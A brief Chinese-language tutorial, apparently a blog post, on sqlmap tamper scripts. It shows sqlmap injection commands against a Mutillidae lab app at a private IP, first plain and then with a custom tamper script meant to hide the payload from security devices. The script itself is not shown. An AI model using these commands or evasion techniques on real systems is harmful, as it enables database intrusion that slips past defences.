sqlmap-tamper 在kali 的储存位置为/usr/share/sqlmap/tamper
当我们对于一些特殊的字符做替换的时候我们可以通过tamper中的脚本进行自动化的更改我们发送的payload
这里举个注入的例子
我们正常的攻击求如下：
sqlmap 上普通注入命令如下：
sqlmap -u "http://192.168.1.134/mutillidae/index.php?page=user-info.php&username=asdmin*&password=asdmin*&user-info-php-submit-button=View+Account+Details" --dbs
sqlmap 上普通注入下安全设备检测的结果：
可见攻击的语句没有做过任何的混淆，那么我们如何通过自定义的脚本将里面的一些敏感字替换掉呢？下面的tamper就是为了解决这种混淆的问题产生的。
这里看一个简单地案例：这个是写的一个test.py
sqlmap 上加了tamper注入命令如下：
sqlmap -u "http://192.168.1.134/mutillidae/index.php?page=user-info.php&username=asdmin*&password=asdmin*&user-info-php-submit-button=View+Account+Details" --tamper=test.py --dbs
sqlmap 上加了tamper注入下安全设备检测的结果：
这样就成功的替换掉了相应的敏感字符。